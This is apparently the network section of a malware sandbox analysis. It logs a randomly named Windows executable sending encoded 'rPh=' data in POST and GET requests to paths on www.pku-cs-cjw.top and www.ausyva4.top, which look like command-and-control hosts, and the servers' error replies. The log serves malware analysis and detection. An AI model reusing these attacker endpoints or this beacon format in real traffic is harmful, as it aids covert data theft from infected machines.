Dec 17, 2024 08:24:12.536931992 CET	733	OUT	POST /k3hn/ HTTP/1.1 Host: www.pku-cs-cjw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 204 Connection: close Origin: http://www.pku-cs-cjw.top Referer: http://www.pku-cs-cjw.top/k3hn/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 51 62 31 39 6b 42 55 6f 6c 5a 5a 78 59 59 74 4a 4e 31 74 49 6c 58 39 39 6a 70 6f 64 70 32 42 55 7a 2b 6e 58 30 4d 79 4c 6e 62 33 33 4e 62 57 4a 42 4d 75 61 4b 64 73 4b 34 65 5a 79 2f 6a 47 49 54 6f 53 4b 78 67 55 64 55 52 56 48 7a 6b 6a 43 37 49 35 4f 72 47 45 6e 76 77 69 4e 4b 54 35 79 6f 37 6d 36 7a 74 6e 4b 7a 4a 47 49 46 51 32 55 72 34 69 42 4d 47 69 6c 61 77 43 42 78 31 33 74 4d 79 6e 59 72 6f 30 47 41 79 79 2f 54 56 39 59 62 61 42 50 49 42 74 49 76 35 4d 56 56 4d 63 35 51 6b 4a 5a 44 54 70 46 5a 72 35 72 30 39 42 78 37 30 66 2f 4c 48 4f 42 4e 69 46 36 45 79 6b 76 78 65 4e 4e 76 78 49 3d Data Ascii: rPh=Qb19kBUolZZxYYtJN1tIlX99jpodp2BUz+nX0MyLnb33NbWJBMuaKdsK4eZy/jGIToSKxgUdURVHzkjC7I5OrGEnvwiNKT5yo7m6ztnKzJGIFQ2Ur4iBMGilawCBx13tMynYro0GAyy/TV9YbaBPIBtIv5MVVMc5QkJZDTpFZr5r09Bx70f/LHOBNiF6EykvxeNNvxI=
Dec 17, 2024 08:24:13.598678112 CET	488	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 131 Server: Varnish Retry-After: 0 Accept-Ranges: bytes Date: Tue, 17 Dec 2024 07:24:13 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740035-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734420253.446138,VS0,VE0 X-Fastly-Request-ID: ad03b0d3da76c51c6ffe71afdbd28b8c0ba8fe31 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	185.199.110.153	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:15.354027987 CET	753	OUT	POST /k3hn/ HTTP/1.1 Host: www.pku-cs-cjw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 224 Connection: close Origin: http://www.pku-cs-cjw.top Referer: http://www.pku-cs-cjw.top/k3hn/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 51 62 31 39 6b 42 55 6f 6c 5a 5a 78 61 34 39 4a 4d 55 74 49 6e 33 39 38 76 4a 6f 64 6a 57 42 51 7a 2b 72 58 30 4a 57 69 6e 70 6a 33 4f 37 47 4a 41 4f 57 61 47 39 73 4b 73 4f 5a 7a 37 6a 47 50 54 6f 65 73 78 68 6f 64 55 52 42 48 7a 67 6e 43 37 35 35 50 71 57 45 6c 67 51 69 4c 4a 6a 35 79 6f 37 6d 36 7a 74 6a 67 7a 4a 4f 49 47 6c 6d 55 6f 62 36 65 46 6d 69 6b 4b 67 43 42 6d 46 33 70 4d 79 6e 32 72 73 56 4f 41 77 61 2f 54 51 52 59 43 75 31 4f 43 42 74 4f 77 70 4d 4c 62 38 42 67 53 33 35 49 47 7a 35 70 59 49 4a 57 34 72 77 62 68 57 58 35 49 48 6d 71 4e 68 74 4d 42 46 35 48 72 39 64 39 78 6d 65 47 62 4c 71 6c 4c 56 69 50 46 74 67 61 43 55 47 76 53 32 79 62 Data Ascii: rPh=Qb19kBUolZZxa49JMUtIn398vJodjWBQz+rX0JWinpj3O7GJAOWaG9sKsOZz7jGPToesxhodURBHzgnC755PqWElgQiLJj5yo7m6ztjgzJOIGlmUob6eFmikKgCBmF3pMyn2rsVOAwa/TQRYCu1OCBtOwpMLb8BgS35IGz5pYIJW4rwbhWX5IHmqNhtMBF5Hr9d9xmeGbLqlLViPFtgaCUGvS2yb
Dec 17, 2024 08:24:16.358285904 CET	488	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 131 Server: Varnish Retry-After: 0 Accept-Ranges: bytes Date: Tue, 17 Dec 2024 07:24:16 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740036-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734420256.205239,VS0,VE0 X-Fastly-Request-ID: 2644e5972431060cd7e8bf0a092b6ca961889b16 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	185.199.110.153	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:18.238291979 CET	1770	OUT	POST /k3hn/ HTTP/1.1 Host: www.pku-cs-cjw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1240 Connection: close Origin: http://www.pku-cs-cjw.top Referer: http://www.pku-cs-cjw.top/k3hn/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 51 62 31 39 6b 42 55 6f 6c 5a 5a 78 61 34 39 4a 4d 55 74 49 6e 33 39 38 76 4a 6f 64 6a 57 42 51 7a 2b 72 58 30 4a 57 69 6e 70 37 33 4f 4a 2b 4a 42 70 36 61 49 64 73 4b 7a 2b 5a 32 37 6a 48 54 54 6f 57 6f 78 68 6c 67 55 53 35 48 7a 44 76 43 73 37 52 50 6b 57 45 6c 69 51 69 4b 4b 54 34 32 6f 37 32 32 7a 74 54 67 7a 4a 4f 49 47 69 65 55 38 34 69 65 44 6d 69 6c 61 77 43 64 78 31 33 52 4d 79 2f 41 72 71 4a 65 41 41 36 2f 55 77 42 59 5a 39 64 4f 66 78 74 4d 7a 70 4e 59 62 38 4e 46 53 7a 59 35 47 77 6c 48 59 49 68 57 37 74 31 66 2b 6e 76 59 62 68 32 68 4d 53 70 4d 46 31 67 6b 71 39 64 36 73 48 47 62 61 4e 75 76 46 57 57 62 41 66 38 58 63 53 36 58 55 68 54 6c 55 66 73 6c 58 4e 77 75 57 48 31 70 58 36 4d 57 44 43 35 59 4c 31 59 33 62 75 67 47 67 4f 4f 53 36 47 5a 4f 31 35 73 76 65 55 73 33 55 67 63 31 30 5a 33 62 56 75 70 46 65 4f 6b 67 43 75 61 73 5a 34 7a 37 34 66 6f 65 4e 6a 71 58 4a 76 66 74 39 43 54 39 69 54 73 68 38 78 6d 64 45 79 70 55 73 4f 79 6b 37 39 75 33 4f 64 67 49 4e 41 67 4d 39 6e [TRUNCATED] Data Ascii: rPh=Qb19kBUolZZxa49JMUtIn398vJodjWBQz+rX0JWinp73OJ+JBp6aIdsKz+Z27jHTToWoxhlgUS5HzDvCs7RPkWEliQiKKT42o722ztTgzJOIGieU84ieDmilawCdx13RMy/ArqJeAA6/UwBYZ9dOfxtMzpNYb8NFSzY5GwlHYIhW7t1f+nvYbh2hMSpMF1gkq9d6sHGbaNuvFWWbAf8XcS6XUhTlUfslXNwuWH1pX6MWDC5YL1Y3bugGgOOS6GZO15sveUs3Ugc10Z3bVupFeOkgCuasZ4z74foeNjqXJvft9CT9iTsh8xmdEypUsOyk79u3OdgINAgM9nrMMneuWiZd+/Cf1ide2SSh7oYlohEcaorBp0YH3OZw9E56wm41Xzvp3/K97Y8GbSwGYv5qMP6fRSYRMPOPG4OBfIE9q0O+E+KrKJ1Iab30/GIbAnXbsjScpug2WVsNk8BlHKsDVkd9TuuWawmYjhqyZsBFtZ4M8NMeLLyxi9jo/c1le0amutTqnB1+MVVdIuQmKmJGEucRynGnYnTU1Emf90xJWJ3DpD5ceSln2Qms5l5vTWRVEDkUDFyaG9NUZZaJV07TijZw257+cjrKR4W+cgBdZvBqkaK9RCdy2dAubp3/pMn1rkdPPoue2aX2kCFxq0yfotT1mfDwMBTfhWSPlDPCvxaBUiy5A2rvBbyZSb/yfMusHyVLfT2ytIrfHsXtveqB0k4CRkj+RuqDugC4E5Irt1yauUUq+pcnZCGAQp2f4uaFDKXbbggPDEX1+HVhWFcUSVhNQaCGQp3Qnx7Bvz55DLcfemCQ3ZVJ5iXxok20BwldlI1YL+JSkv0yFht0ZR0oIU954XlfZqtc6j3ZBB9awq5lFwl7AL6ZKI+/OEmIyP7zM/1HQ068u9n6qupcvIfg2eiAfuGiJqvzHcbvtx4tLFFJ0tN5kS1aHSCLx81t+HY5W+pMl1yA2m+6N6rsPISG9bkOH2WoR9Ydxi7mgaclBvEeXrMj [TRUNCATED]
Dec 17, 2024 08:24:19.107601881 CET	488	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 131 Server: Varnish Retry-After: 0 Accept-Ranges: bytes Date: Tue, 17 Dec 2024 07:24:18 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890041-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734420259.954090,VS0,VE0 X-Fastly-Request-ID: 10c62f87de87b77266878210362e09b084b4ffe0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49712	185.199.110.153	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:21.012799025 CET	467	OUT	GET /k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ9Hdmeil28QjfyJs81mcvpy2JTiV0mNzD6MbLs+vdIgTAzo2XEDLCKFuL/iGeag==&kVvpD=Bx4T HTTP/1.1 Host: www.pku-cs-cjw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729)
Dec 17, 2024 08:24:22.056040049 CET	807	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 162 Server: GitHub.com Content-Type: text/html X-GitHub-Request-Id: A521:3EFF42:520FED0:581AB01:67612725 Accept-Ranges: bytes Age: 0 Date: Tue, 17 Dec 2024 07:24:21 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740027-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734420262.894526,VS0,VE9 Vary: Accept-Encoding X-Fastly-Request-ID: 98f1ed30f29922f35dc9c26c5929db337c4453bd Location: http://pku-cs-cjw.top/k3hn/?rPh=dZddn2QnmIt3Z4tuH0E3g34XkYAItSNhr8Xg5sy2kai1E7eSB/izKfIU3bxH1QSpc7GJ9Hdmeil28QjfyJs81mcvpy2JTiV0mNzD6MbLs+vdIgTAzo2XEDLCKFuL/iGeag==&kVvpD=Bx4T Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	104.21.48.233	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:27.579830885 CET	724	OUT	POST /al74/ HTTP/1.1 Host: www.ausyva4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 204 Connection: close Origin: http://www.ausyva4.top Referer: http://www.ausyva4.top/al74/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 34 44 4c 4d 64 4e 57 4e 6a 51 6d 50 78 64 31 54 45 6a 4b 61 7a 66 77 42 6e 6a 57 78 55 50 68 77 63 54 4c 44 55 36 6a 42 61 74 52 41 76 62 76 45 5a 48 55 39 72 32 68 63 63 54 39 72 79 62 55 44 30 4d 47 4c 6c 6e 41 79 31 36 58 53 2b 49 6c 53 45 33 54 48 75 42 49 5a 66 37 54 6f 63 78 76 34 52 5a 2b 66 75 42 66 76 48 66 37 49 37 47 48 57 49 37 6d 35 58 6e 48 53 5a 5a 4b 38 4b 6e 65 2b 65 59 66 67 49 4e 37 64 35 4d 4d 32 57 67 39 43 6a 73 6e 79 6e 37 74 62 50 46 62 38 36 35 78 50 33 71 6f 6e 31 6c 53 71 30 35 31 70 4c 78 79 6f 54 56 68 62 4f 52 39 6c 68 72 38 4c 32 38 49 41 78 30 49 74 57 78 77 3d Data Ascii: rPh=4DLMdNWNjQmPxd1TEjKazfwBnjWxUPhwcTLDU6jBatRAvbvEZHU9r2hccT9rybUD0MGLlnAy16XS+IlSE3THuBIZf7Tocxv4RZ+fuBfvHf7I7GHWI7m5XnHSZZK8Kne+eYfgIN7d5MM2Wg9Cjsnyn7tbPFb865xP3qon1lSq051pLxyoTVhbOR9lhr8L28IAx0ItWxw=
Dec 17, 2024 08:24:28.902829885 CET	1154	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XfFICCTSncZLZLW87I8JYFeIuAut1Tjetz4C%2B38Vn8MFMDLRDerJdvMxPS2QA8cXee3Mymx5wdTbpnBP3hm%2FwCSfDfDht4NMSeVyvpH3GxRb7VzfyJeUllqVUEcX3OiStYo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f352c768bf4f78d-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1467&min_rtt=1467&rtt_var=733&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=724&delivery_rate=0&cwnd=73&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 91 41 4b 03 31 10 85 ef 85 fe 87 d1 7b 3b dd 65 45 29 21 07 6d 45 a1 6a d1 15 f4 98 36 d3 26 98 66 4a 76 b6 cb fe 7b e9 da 95 22 78 c9 cb 64 e6 7b 4c 78 ea 62 f6 72 57 7e 2e e7 f0 50 3e 2d 60 f9 7e bb 78 bc 83 cb 11 e2 e3 bc bc 47 9c 95 b3 9f 4e 3e 9e 20 ce 9f 2f f5 70 a0 9c ec 42 a7 64 ac 56 e2 25 90 2e 26 05 3c b3 c0 3d d7 d1 2a fc 79 54 d8 8d 0c 07 6a c5 b6 3d ea 9a a2 50 d2 ca 65 7f 09 97 69 85 a7 f6 70 00 6f 9c 52 0b 1b 4e 20 8e c0 c7 35 c7 03 45 4f 71 4d 63 b5 4a a8 87 83 65 20 53 11 24 da 73 12 10 e7 2b d8 51 55 99 2d 81 89 f6 c8 84 da 52 c7 6f 38 04 6e 7c dc 82 8f 1b 4e 3b 23 9e 23 08 43 5d f5 6e a5 33 f1 0b 5a ae e1 40 a9 85 5d bd 76 17 0a f7 c7 a5 c5 ac 02 75 97 d4 9d 56 bf bf 2e a6 0a c5 9e 4a 27 b2 9f 22 36 4d 33 36 75 d5 1e 4c 31 16 de a3 09 d7 05 f6 63 78 82 7b 8b 37 4a 07 4a e7 2e a1 66 eb 5b 1a 99 a6 1a 45 b6 94 fd 87 ce 8c d0 39 98 4f f2 02 b3 1c b3 6b c8 ae a6 79 31 cd 6f fe a0 f8 fb 05 97 50 2f b9 a1 44 16 56 2d 7c 28 97 74 9f 8a 50 [TRUNCATED] Data Ascii: 161uAK1{;eE)!mEj6&fJv{"xd{LxbrW~.P>-`~xGN> /pBdV%.&<=*yTj=PeipoRN 5EOqMcJe S$s+QU-Ro8n\|N;##C]n3Z@]vuV.J'"6M36uL1cx{7JJ.f[E9Oky1oP/DV-\|(tPHg1(Sa10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49714	104.21.48.233	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:30.376171112 CET	744	OUT	POST /al74/ HTTP/1.1 Host: www.ausyva4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 224 Connection: close Origin: http://www.ausyva4.top Referer: http://www.ausyva4.top/al74/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 34 44 4c 4d 64 4e 57 4e 6a 51 6d 50 2b 66 68 54 42 41 53 61 69 50 78 7a 37 7a 57 78 65 76 67 33 63 53 33 44 55 37 57 61 61 37 4a 41 6f 36 66 45 58 6d 55 39 71 32 68 63 57 7a 39 71 74 4c 55 4b 30 4d 43 70 6c 6d 38 79 31 36 54 53 2b 49 31 53 44 41 48 41 76 52 49 68 55 62 54 6d 66 42 76 34 52 5a 2b 66 75 42 4c 56 48 66 6a 49 37 79 37 57 4a 61 6d 32 4c 33 48 52 4e 4a 4b 38 42 48 65 69 65 59 66 43 49 4d 6d 4b 35 50 6b 32 57 67 4e 43 69 2b 50 78 70 37 74 5a 58 6c 61 59 73 38 41 68 79 74 34 55 78 46 4f 64 77 5a 31 32 4b 48 44 43 4a 33 70 64 4e 52 56 4f 68 6f 55 39 7a 4c 56 6f 72 58 59 64 49 6d 6e 56 69 48 32 51 61 6f 76 59 37 50 6c 44 49 45 41 4b 73 4e 50 6a Data Ascii: rPh=4DLMdNWNjQmP+fhTBASaiPxz7zWxevg3cS3DU7Waa7JAo6fEXmU9q2hcWz9qtLUK0MCplm8y16TS+I1SDAHAvRIhUbTmfBv4RZ+fuBLVHfjI7y7WJam2L3HRNJK8BHeieYfCIMmK5Pk2WgNCi+Pxp7tZXlaYs8Ahyt4UxFOdwZ12KHDCJ3pdNRVOhoU9zLVorXYdImnViH2QaovY7PlDIEAKsNPj
Dec 17, 2024 08:24:31.493892908 CET	1159	IN	HTTP/1.1 404 Not Found Date: Tue, 17 Dec 2024 07:24:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Tl%2Bdu7M6uRpNCdcrZYeTWzmoIG%2BkAUDAJbNxH%2ByXfeJlkfKqWFwp2WHroD8H5Qf85TCzREEwFwdOK%2BaYX6csR7WHIjpco3ZaH8hzz87xyDGxKmpmyrHBzoEAyOmekDaGiQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f352c86ea888ce3-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1936&min_rtt=1936&rtt_var=968&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=744&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 75 91 41 4b 03 31 10 85 ef 85 fe 87 d1 7b 3b dd 75 45 28 21 07 6d 45 a1 6a d1 15 f4 98 36 d3 26 98 66 4a 76 b6 cb fe 7b e9 da 95 22 78 c9 cb 64 e6 7b 4c 78 ea 62 f6 72 57 7e 2e e7 f0 50 3e 2d 60 f9 7e bb 78 bc 83 cb 11 e2 e3 bc bc 47 9c 95 b3 9f 4e 3e 9e 20 ce 9f 2f f5 70 a0 9c ec 42 a7 64 ac 56 e2 25 90 2e 26 05 3c b3 c0 3d d7 d1 2a fc 79 54 d8 8d 0c 07 6a c5 b6 3d ea 9a a2 50 d2 ca 65 7f 09 97 69 85 a7 f6 70 00 6f 9c 52 0b 1b 4e 20 8e c0 c7 35 c7 03 45 4f 71 4d 63 b5 4a a8 87 83 65 20 53 11 24 da 73 12 10 e7 2b d8 51 55 99 2d 81 89 f6 c8 84 da 52 c7 6f 38 04 6e 7c dc 82 8f 1b 4e 3b 23 9e 23 08 43 5d f5 6e a5 33 f1 0b 5a ae e1 40 a9 85 5d bd 76 17 0a f7 c7 a5 c5 ac 02 75 97 d4 9d 56 bf bf 2e a6 0a c5 9e 4a 27 b2 9f 22 36 4d 33 36 75 d5 1e 4c 31 16 de a3 09 37 05 f6 63 78 82 7b 8b 37 4a 07 4a e7 2e a1 66 eb 5b 1a 99 a6 1a 45 b6 94 fd 87 ce 8c d0 39 98 4f f2 02 b3 1c b3 1b c8 ae a7 79 31 bd fa 8b e2 ef 17 5c 42 bd e4 86 12 59 58 b5 f0 a1 5c d2 7d 2a 42 71 [TRUNCATED] Data Ascii: 161uAK1{;uE(!mEj6&fJv{"xd{LxbrW~.P>-`~xGN> /pBdV%.&<=yTj=PeipoRN 5EOqMcJe S$s+QU-Ro8n\|N;##C]n3Z@]vuV.J'"6M36uL17cx{7JJ.f[E9Oy1\BYX\}Bq#OxV10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49715	104.21.48.233	80	5164	C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:24:33.362102985 CET	1761	OUT	POST /al74/ HTTP/1.1 Host: www.ausyva4.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1240 Connection: close Origin: http://www.ausyva4.top Referer: http://www.ausyva4.top/al74/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Data Raw: 72 50 68 3d 34 44 4c 4d 64 4e 57 4e 6a 51 6d 50 2b 66 68 54 42 41 53 61 69 50 78 7a 37 7a 57 78 65 76 67 33 63 53 33 44 55 37 57 61 61 37 42 41 76 4d 4c 45 58 42 34 39 34 6d 68 63 56 7a 39 33 74 4c 56 59 30 4b 71 74 6c 6d 77 49 31 34 62 53 2b 71 4e 53 43 31 72 41 68 52 49 68 62 37 54 6e 63 78 75 77 52 64 6a 57 75 42 62 56 48 66 6a 49 37 7a 72 57 4f 4c 6d 32 62 48 48 53 5a 5a 4b 47 4b 6e 65 47 65 63 37 34 49 4d 6a 33 6c 75 45 32 57 41 64 43 67 4c 54 78 32 4c 74 66 43 6c 61 41 73 38 45 69 79 70 59 59 78 47 54 4b 77 62 6c 32 49 54 69 69 51 32 6b 46 61 53 64 35 73 66 34 46 39 63 5a 45 70 68 42 72 44 42 32 32 71 7a 2f 2f 63 65 6e 76 32 38 38 6d 61 51 67 62 69 4a 65 79 6d 70 64 35 69 6e 6d 4d 57 6f 62 43 75 66 7a 42 71 30 35 53 52 68 41 49 56 42 46 38 35 43 61 55 6d 4b 69 73 41 65 59 30 78 76 61 50 74 4f 4d 77 64 34 54 74 42 4d 4a 66 38 31 6e 2b 6e 75 44 4b 35 6c 52 34 45 39 35 55 69 33 51 47 74 55 67 4b 38 30 31 44 55 70 67 58 57 59 61 30 53 48 2f 38 33 39 6f 39 69 42 36 68 66 50 41 6b 6c 43 2b 48 42 77 [TRUNCATED] Data Ascii: rPh=4DLMdNWNjQmP+fhTBASaiPxz7zWxevg3cS3DU7Waa7BAvMLEXB494mhcVz93tLVY0KqtlmwI14bS+qNSC1rAhRIhb7TncxuwRdjWuBbVHfjI7zrWOLm2bHHSZZKGKneGec74IMj3luE2WAdCgLTx2LtfClaAs8EiypYYxGTKwbl2ITiiQ2kFaSd5sf4F9cZEphBrDB22qz//cenv288maQgbiJeympd5inmMWobCufzBq05SRhAIVBF85CaUmKisAeY0xvaPtOMwd4TtBMJf81n+nuDK5lR4E95Ui3QGtUgK801DUpgXWYa0SH/839o9iB6hfPAklC+HBw7vKx7MuUy0SyrUNKdicPjv02X9ZAAbjKqq9XWg9e0lkA+vsqS4p2bIJ6XZA28LKyWgGySO0L1XEwIZVWwtU8gnV56zUVuca2GZZ6tJlaHaTaYzprRom+GNC7X28aQzANyfDZN+KQQs3SxZaQrBtBoNXBtryBv6ipWc4GAvV9FKmiqPJrXFHddJt7Zkjjc0sFJ3375mr3kpr2EcNenv7B4f1lNqOJbdrCQ8plzabVqqSoL8JK9vxbZ7oNKdl4Jbs4oq4FYoWo87gCKsd6xBHd5KMAfPYWYpGsCb3XZFHGOaxcGyPjZrnzqR5LnIQrBJEekbxLJHEa9+k5JTE13hhh/wQ5X51QRCOKyqTJkcMP5j7eTsivV/8GjlUHcx